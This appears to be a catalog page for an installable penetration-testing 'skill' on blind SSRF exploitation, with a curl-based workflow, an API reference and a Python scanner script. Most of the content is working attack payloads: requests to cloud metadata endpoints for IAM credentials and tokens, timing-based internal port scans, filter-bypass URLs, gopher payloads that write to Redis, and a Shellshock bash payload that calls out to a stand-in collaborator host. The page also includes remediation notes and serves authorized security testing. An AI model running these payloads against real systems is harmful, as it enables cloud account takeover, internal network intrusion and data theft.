web application security

Performing Blind SSRF Exploitation

Detect and exploit blind Server-Side Request Forgery vulnerabilities using out-of-band techniques, DNS interactions, and timing analysis to access internal services and cloud metadata endpoints.

blind-ssrfburp-collaboratorcloud-metadatainternal-networkoob-detectionout-of-bandssrf
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When testing URL/webhook input parameters where server-side responses are not reflected
  • During assessment of applications that fetch external resources (avatars, previews, imports)
  • When testing PDF generators, image processors, or document converters for SSRF
  • During cloud security assessments to detect metadata endpoint access
  • When evaluating webhook functionality and URL validation implementations

Prerequisites

  • Burp Suite Professional with Burp Collaborator for OOB detection
  • interact.sh or webhook.site for external callback monitoring
  • Understanding of SSRF attack vectors and internal network enumeration
  • Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
  • VPS or controlled server for advanced exploitation callback handling
  • Python with requests library for automation scripts

Workflow

Step 1 — Identify Blind SSRF Input Points

# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=
 
# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
 
# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
 
# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
 
# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

Step 2 — Confirm Blind SSRF with Out-of-Band Detection

# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com
 
# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups
 
# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator
 
# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions

Step 3 — Enumerate Internal Network

# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive
 
# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done
 
# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done
 
# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

Step 4 — Access Cloud Metadata Endpoints

# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
 
# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
 
# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
 
# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
 
# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

Step 5 — Bypass SSRF Filters

# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6
 
# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
 
# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
 
# DNS rebinding
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'

Step 6 — Escalate Blind SSRF to Data Exfiltration

# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration
 
# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
 
# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"
 
# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints

Key Concepts

Concept Description
Blind SSRF Server makes request but response is not visible to attacker
Out-of-Band Detection Using external callbacks (DNS, HTTP) to confirm SSRF execution
DNS Rebinding Technique to bypass IP-based SSRF filters by changing DNS resolution
Cloud Metadata Instance metadata endpoints accessible via SSRF for credential theft
Gopher Protocol Protocol allowing crafted payloads to interact with internal TCP services
Time-Based Detection Detecting SSRF success by measuring response time differences
SSRF Chain Combining SSRF with other vulnerabilities for greater impact

Tools & Systems

Tool Purpose
Burp Collaborator Out-of-band interaction server for DNS and HTTP callback detection
interact.sh Open-source OOB interaction tool by ProjectDiscovery
SSRFmap Automated SSRF detection and exploitation framework
Gopherus Generate gopher payloads for exploiting internal services via SSRF
webhook.site Free webhook receiver for testing SSRF callbacks
rebinder.net DNS rebinding service for bypassing SSRF IP filters

Common Scenarios

  1. Cloud Credential Theft — Exploit blind SSRF to access AWS/GCP/Azure metadata endpoints and steal IAM credentials for cloud account compromise
  2. Internal Service Discovery — Use timing-based blind SSRF to enumerate internal network hosts and open ports
  3. Redis Exploitation — Chain blind SSRF with gopher:// protocol to execute commands on internal Redis instances
  4. Webhook Abuse — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels
  5. PDF Generator SSRF — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents

Output Format

## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes
 
### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |
 
### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |
 
### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md5.0 KB

API Reference: Blind SSRF Exploitation

Libraries Used

Library Purpose
requests Send crafted HTTP requests with SSRF payloads
socket Low-level port scanning and connection testing
http.server Out-of-band callback listener for blind detection
urllib.parse Construct and encode SSRF payload URLs
time Measure response timing for time-based blind SSRF

Installation

pip install requests

Techniques and Payloads

Cloud Metadata Endpoints

Cloud Provider Metadata URL
AWS IMDSv1 http://169.254.169.254/latest/meta-data/
AWS IMDSv2 Requires X-aws-ec2-metadata-token header
GCP http://metadata.google.internal/computeMetadata/v1/
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01
DigitalOcean http://169.254.169.254/metadata/v1/
Oracle Cloud http://169.254.169.254/opc/v2/instance/

Internal Network Scanning Payloads

# Common internal targets for blind SSRF probing
INTERNAL_TARGETS = [
    "http://127.0.0.1:{port}",
    "http://localhost:{port}",
    "http://0.0.0.0:{port}",
    "http://[::1]:{port}",
    "http://10.0.0.1:{port}",
    "http://192.168.1.1:{port}",
    "http://172.16.0.1:{port}",
]
 
COMMON_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]

Core Functions

Out-of-Band (OOB) Blind SSRF Detection

import requests
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
 
class CallbackHandler(BaseHTTPRequestHandler):
    received = []
 
    def do_GET(self):
        CallbackHandler.received.append({
            "path": self.path,
            "headers": dict(self.headers),
            "client": self.client_address[0],
        })
        self.send_response(200)
        self.end_headers()
 
    def log_message(self, format, *args):
        pass  # Suppress console output
 
def start_callback_server(port=8888):
    server = HTTPServer(("0.0.0.0", port), CallbackHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server
 
def test_blind_ssrf_oob(target_url, param_name, callback_url):
    """Test for blind SSRF using OOB callback."""
    payload = callback_url + "/ssrf-test"
    resp = requests.get(
        target_url,
        params={param_name: payload},
        timeout=10,
    )
    return resp.status_code

Time-Based Blind SSRF Detection

import time
 
def test_time_based_ssrf(target_url, param_name, open_port_url, closed_port_url):
    """Detect SSRF via response time difference between open and closed ports."""
    # Baseline: request to a closed port (should timeout slower)
    start = time.time()
    try:
        requests.get(target_url, params={param_name: closed_port_url}, timeout=15)
    except requests.Timeout:
        pass
    closed_time = time.time() - start
 
    # Test: request to an open port (should respond faster)
    start = time.time()
    try:
        requests.get(target_url, params={param_name: open_port_url}, timeout=15)
    except requests.Timeout:
        pass
    open_time = time.time() - start
 
    # Significant time difference indicates SSRF
    return {
        "open_port_time": round(open_time, 2),
        "closed_port_time": round(closed_time, 2),
        "likely_ssrf": abs(closed_time - open_time) > 2.0,
    }

Internal Port Scanner via SSRF

def ssrf_port_scan(target_url, param_name, internal_host, ports):
    """Scan internal ports through a blind SSRF vulnerability."""
    results = {"open": [], "closed": [], "filtered": []}
    for port in ports:
        ssrf_url = f"http://{internal_host}:{port}/"
        start = time.time()
        try:
            resp = requests.get(
                target_url,
                params={param_name: ssrf_url},
                timeout=10,
            )
            elapsed = time.time() - start
            if resp.status_code == 200 and elapsed < 3:
                results["open"].append(port)
            else:
                results["closed"].append(port)
        except requests.Timeout:
            results["filtered"].append(port)
    return results

URL Bypass Techniques

BYPASS_PAYLOADS = [
    # Decimal IP encoding
    "http://2130706433/",           # 127.0.0.1
    # Hex encoding
    "http://0x7f000001/",           # 127.0.0.1
    # Octal encoding
    "http://0177.0.0.1/",
    # IPv6
    "http://[::ffff:127.0.0.1]/",
    # URL encoding
    "http://127.0.0.1%2523@evil.com/",
    # DNS rebinding
    "http://spoofed.burpcollaborator.net/",
    # Redirect-based
    "https://attacker.com/redirect?url=http://169.254.169.254/",
]

Output Format

{
  "target": "https://app.example.com/fetch",
  "parameter": "url",
  "ssrf_confirmed": true,
  "detection_method": "out-of-band",
  "internal_services_found": [
    {"host": "127.0.0.1", "port": 6379, "service": "Redis"},
    {"host": "10.0.0.5", "port": 3306, "service": "MySQL"}
  ],
  "cloud_metadata_accessible": true,
  "bypasses_needed": ["decimal IP encoding"]
}

Scripts 1

agent.py9.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Blind SSRF detection agent.

Tests web application endpoints for Server-Side Request Forgery (SSRF)
vulnerabilities by injecting payloads that trigger out-of-band callbacks.
Uses configurable payload lists targeting internal services, cloud metadata
endpoints, and external callback receivers.

AUTHORIZED TESTING ONLY: Only use against targets you have explicit
written permission to test. Unauthorized SSRF testing is illegal.
"""
import argparse
import json
import os
import sys
import time
import urllib.parse
from datetime import datetime, timezone

try:
    import requests
except ImportError:
    print("[!] 'requests' library required: pip install requests", file=sys.stderr)
    sys.exit(1)


SSRF_PAYLOADS = {
    "aws_metadata": [
        "http://169.254.169.254/latest/meta-data/",
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        "http://169.254.169.254/latest/user-data",
    ],
    "gcp_metadata": [
        "http://metadata.google.internal/computeMetadata/v1/",
        "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    ],
    "azure_metadata": [
        "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
        "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",
    ],
    "internal_services": [
        "http://127.0.0.1:80/",
        "http://127.0.0.1:8080/",
        "http://127.0.0.1:443/",
        "http://127.0.0.1:3306/",
        "http://127.0.0.1:6379/",
        "http://127.0.0.1:9200/",
        "http://localhost:8500/v1/agent/self",
        "http://127.0.0.1:2375/containers/json",
    ],
    "bypass_filters": [
        "http://0x7f000001/",
        "http://0177.0.0.1/",
        "http://[::1]/",
        "http://127.1/",
        "http://127.0.0.1.nip.io/",
        "http://2130706433/",
    ],
    "protocol_smuggling": [
        "gopher://127.0.0.1:6379/_INFO",
        "dict://127.0.0.1:6379/INFO",
        "file:///etc/passwd",
        "file:///etc/hosts",
    ],
}


def test_ssrf_parameter(target_url, param_name, payload, method="GET",
                         headers=None, cookies=None, callback_url=None):
    """Test a single SSRF payload against a parameter."""
    test_payload = callback_url or payload
    if method.upper() == "GET":
        parsed = urllib.parse.urlparse(target_url)
        params = urllib.parse.parse_qs(parsed.query)
        params[param_name] = [test_payload]
        new_query = urllib.parse.urlencode(params, doseq=True)
        test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
        try:
            resp = requests.get(test_url, headers=headers, cookies=cookies,
                                timeout=10, allow_redirects=False)
        except requests.RequestException as e:
            return {"payload": payload, "error": str(e), "vulnerable": False}
    else:
        data = {param_name: test_payload}
        try:
            resp = requests.post(target_url, data=data, headers=headers,
                                 cookies=cookies, timeout=10, allow_redirects=False)
        except requests.RequestException as e:
            return {"payload": payload, "error": str(e), "vulnerable": False}

    indicators = analyze_response(resp, payload)
    return {
        "payload": payload,
        "status_code": resp.status_code,
        "response_length": len(resp.content),
        "response_time": resp.elapsed.total_seconds(),
        "indicators": indicators,
        "vulnerable": len(indicators) > 0,
    }


def analyze_response(resp, payload):
    """Analyze HTTP response for SSRF success indicators."""
    indicators = []
    body = resp.text.lower()

    # Cloud metadata indicators
    if "169.254.169.254" in payload:
        if any(kw in body for kw in ["ami-id", "instance-id", "security-credentials",
                                       "access-key", "computemetadata", "subscriptionid"]):
            indicators.append("Cloud metadata content detected in response")

    # Internal service indicators
    if "127.0.0.1" in payload or "localhost" in payload:
        if resp.status_code == 200 and len(resp.content) > 0:
            if any(kw in body for kw in ["redis_version", "elasticsearch", "docker",
                                          "consul", "apache", "nginx", "server:"]):
                indicators.append("Internal service response detected")

    # File content indicators
    if "file://" in payload:
        if "root:" in body or "localhost" in body:
            indicators.append("Local file content detected in response")

    # Time-based detection
    if resp.elapsed.total_seconds() > 5:
        indicators.append(f"Slow response ({resp.elapsed.total_seconds():.1f}s) - possible network timeout to internal host")

    # Differential response analysis
    if resp.status_code in (200, 301, 302) and len(resp.content) > 100:
        indicators.append(f"Non-error response with content (status: {resp.status_code}, size: {len(resp.content)})")

    return indicators


def run_ssrf_scan(target_url, param_name, method="GET", categories=None,
                   headers=None, cookies=None, callback_url=None):
    """Run SSRF tests across payload categories."""
    if categories is None:
        categories = list(SSRF_PAYLOADS.keys())

    results = []
    total = sum(len(SSRF_PAYLOADS.get(c, [])) for c in categories)
    print(f"[*] Testing {total} SSRF payloads across {len(categories)} categories")
    print(f"[*] Target: {target_url} (param: {param_name}, method: {method})")

    for category in categories:
        payloads = SSRF_PAYLOADS.get(category, [])
        print(f"\n  [{category}] Testing {len(payloads)} payloads...")
        for payload in payloads:
            result = test_ssrf_parameter(
                target_url, param_name, payload, method, headers, cookies, callback_url
            )
            result["category"] = category
            results.append(result)
            if result["vulnerable"]:
                print(f"    [VULN] {payload}")
                for ind in result["indicators"]:
                    print(f"           -> {ind}")
            time.sleep(0.5)  # Rate limiting

    return results


def format_summary(results, target_url):
    """Print scan summary."""
    vulnerable = [r for r in results if r.get("vulnerable")]
    print(f"\n{'='*60}")
    print(f"  SSRF Scan Report")
    print(f"{'='*60}")
    print(f"  Target       : {target_url}")
    print(f"  Payloads     : {len(results)}")
    print(f"  Vulnerable   : {len(vulnerable)}")

    if vulnerable:
        print(f"\n  Confirmed/Suspected Vulnerabilities:")
        for v in vulnerable:
            print(f"    [{v['category']:20s}] {v['payload']}")
            for ind in v.get("indicators", []):
                print(f"      -> {ind}")

    by_category = {}
    for r in vulnerable:
        by_category.setdefault(r["category"], []).append(r)
    if by_category:
        print(f"\n  Findings by Category:")
        for cat, items in by_category.items():
            print(f"    {cat:25s}: {len(items)} finding(s)")


def main():
    parser = argparse.ArgumentParser(
        description="Blind SSRF detection agent (authorized testing only)"
    )
    parser.add_argument("--target", required=True, help="Target URL with parameter to test")
    parser.add_argument("--param", required=True, help="Parameter name to inject SSRF payloads into")
    parser.add_argument("--method", choices=["GET", "POST"], default="GET")
    parser.add_argument("--categories", nargs="+", choices=list(SSRF_PAYLOADS.keys()),
                        help="SSRF payload categories to test")
    parser.add_argument("--callback", help="Out-of-band callback URL (e.g., Burp Collaborator)")
    parser.add_argument("--header", nargs="+", help="Custom headers (key:value)")
    parser.add_argument("--cookie", help="Cookie string")
    parser.add_argument("--output", "-o", help="Output JSON report path")
    parser.add_argument("--verbose", "-v", action="store_true")
    args = parser.parse_args()

    headers = {}
    if args.header:
        for h in args.header:
            k, v = h.split(":", 1)
            headers[k.strip()] = v.strip()
    cookies = {}
    if args.cookie:
        for pair in args.cookie.split(";"):
            if "=" in pair:
                k, v = pair.strip().split("=", 1)
                cookies[k] = v

    results = run_ssrf_scan(
        args.target, args.param, args.method, args.categories,
        headers or None, cookies or None, args.callback
    )
    format_summary(results, args.target)

    vulnerable = [r for r in results if r.get("vulnerable")]
    report = {
        "timestamp": datetime.now(timezone.utc).isoformat(),
        "tool": "SSRF Scanner",
        "target": args.target,
        "parameter": args.param,
        "total_payloads": len(results),
        "vulnerable_count": len(vulnerable),
        "findings": vulnerable,
        "all_results": results if args.verbose else [],
        "risk_level": (
            "CRITICAL" if any(r["category"] in ("aws_metadata", "gcp_metadata", "azure_metadata")
                             for r in vulnerable)
            else "HIGH" if vulnerable
            else "LOW"
        ),
    }

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"\n[+] Report saved to {args.output}")
    elif args.verbose:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
Keep exploring